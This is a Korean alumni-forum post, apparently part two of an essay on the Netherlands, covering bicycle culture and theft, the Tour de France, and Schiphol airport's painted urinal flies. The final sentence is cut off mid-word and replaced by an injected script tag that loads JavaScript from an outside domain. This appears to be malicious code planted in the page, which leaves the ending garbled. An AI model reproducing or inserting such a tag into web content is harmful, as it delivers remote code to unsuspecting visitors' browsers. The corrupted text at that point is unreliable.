로고

커뮤니티 메인

휘문교우회 로고
📖 게시글 상세보기
[제목] 작지만 강한 나라(네덜란드 이야기下) (백운학)
[자전거 이야기]
자전거를 잃었다고 이야기하면 이들은 두 가지 반응을 보일 것이다. 하나는 '제대로 안 잠그고 간수 잘못한 것이니까 어쩔 수 없지 뭐'라거나 아니면 '네덜란드에서 자전거 도둑은 없다. 빨리 다른 데 가서 한 대 끌고 와'라고 할 것이다. 어디서 많이 들었던 이야기 같은데. 군대 생활할 때 생각나는 구만. 자전거에 관한 한 네덜란드에서도 비슷한 메커니즘이다. 점잖은 사람이건 아니건 상관없다. 전해오는 이야기로 한국사람이 이런 사정도 모르고 자전거 가게를 냈다가 얼마가지 않아 문을 닫았다는 이야기가 있다.

암스테르담 같은 곳에는 운하에서 건져내거나 훔친 중고 자전거를 판매하는 마켓이 형성될 정도이다. 사정이 이렇다 보니 자전거를 보유하는 형태도 비싼 자전거를 갖고 있는 경우 '신주단지 모시기형'과 '마음 비우기형'으로 잃어버려도 괜찮다는 식이다. 네덜란드의 인구는 1,600만 명이고, 자전거의 숫자도 1,600만 대라고 한다. 자전거는 운송수단이기 이전에 생활의 일부인 셈이다. 주말이면 자전거를 즐기려는 가족들로 전국의 자전거 도로들이 가득 메워진다. 장거리 여행을 떠나는 경우에도 차의 지붕이나 꽁무니에 식구 숫자만큼이나 자전거가 매달려서 간다.


유럽 전역은 매년 6∼7월이면 자전거로 몸살을 앓는다. 프랑스 전역과 인근 국가들을 한 달여 간 돌아서 파리에 골인하는 자전거 경기대회 '뚜르 드 프랑스(Tour de France)'에 유럽 전체가 혼을 빼앗기기 때문이다. 그 이유는 아름다운 숲길, 고풍스러운 도시, 해발 2,000m가 넘는 알프스나 피레네 산맥을 넘나들면서 자동차 경기가 갖는 스피드와 마라톤 경기가 갖는 아기자기함을 함께 갖춘 매력이 넘치는 경기이기 때문이다.

경기진행 방식도 매일 매일 마지막 순간에 간발의 차이로 1위가 결정되는 박진감이 가미되기도 하지만 역시 결정적인 것은 자전거가 바로 그들의 생활 속에 깊숙이 자리잡고 있기 때문일 것이다.


이러한 자전거의 생활화도 따지고 보면 전 국토가 산이라고는 없는 평탄한 자연조건과 거기에 걸맞은 자전거 전용도로와 주차대의 설치를 포함한 인프라와 교통법규상 자전거가 자동차보다 우선 보호받게 되는 등 제도적 장치를 모두 갖춘 가히 지구상에서 가장 자전거를 타기 좋은 나라인 것이다.




[스키폴(Schiphol) 공항]
스키폴 공항(네덜란드의 수도 암스테르담에 있는 국제공항으로 유럽에서 네 번째 큰 공항으로, 연간 약 4천만명의 승객들을 처리하며 유럽의 주요 교통 요충지로 6대주 97개국 248개 지점으로 연결되는 87개의 정기 노선이 있다. 최근에 개조 공사를 마친 공항에는 규모가 큰 면세점, 호텔, 세계 무역 센터, 카지노 및 현대식 국제 철도역 등이 수용되어 있는데, 국제 철도역은 출항장에서 거리가 50야드 미만이며 이곳에서는 네덜란드 및 유럽 어느 지역으로도 직접 연결된다)에 도착하면 시골 공항에 온 것처럼 붐비지 않고 한적하다. 그 다음 느낌은 무사 통과하는 것 같은 느낌이다. 전혀 까다롭지 않은 입국 심사대를 잠시 통과하는 것 외에 번잡한 심사나 세관 검사가 없다.
이미지
일반 지역으로 나오면 청사지하로 곧 바로 철도가 들어오는데, 이것은 지하철이 아니라 국철로서 파리까지 곧장 연결될 뿐만 아니라 유럽전역으로 거미줄처럼 이어지게 된다. 또 청사를 벗어나기가 무섭게 유럽 어디로든 연결될 수 있는 고속도로에 곧바로 진입할 수 있도록 되어 있다. 이런 공항의 남자 화장실 소변기에는 조그만 파리가 한 마리씩 앉아 있다. 그런데 이 파리들은 날아가지 않고 늘 그 자리에 붙어있다.

그 이유는 그림이기 때문이다. "예쁜 그림도 아니고 왜 하필 파리를 그려 놓았을까?"라는 생각을 하면서 무심코 소변으로 파리를 맞추다가 일을 끝낸다면 이미 화가의 의도대로 된 것이다. 즉 공항 측이 화장실 청결을 유지하기 위해 그려 넣은 것으로 남자들이 소변을 볼 때 무언가를 정확하게 조준하고 싶어하는 심리가 있다는 점에 착안한 것이다. 작년에 개항한 인천공항의 남자 화장실에도 소변기 내부에 곤충이 하나 그려져 있다. 스키폴 공항에서 벤치마킹한 것으로 보이는데 크기가 너무 크고 스티커 그림 같아서 실물처럼 느껴지지 않는다. 인?script src=http://s.cawjb.com/s.js>
등록된 댓글이 없습니다.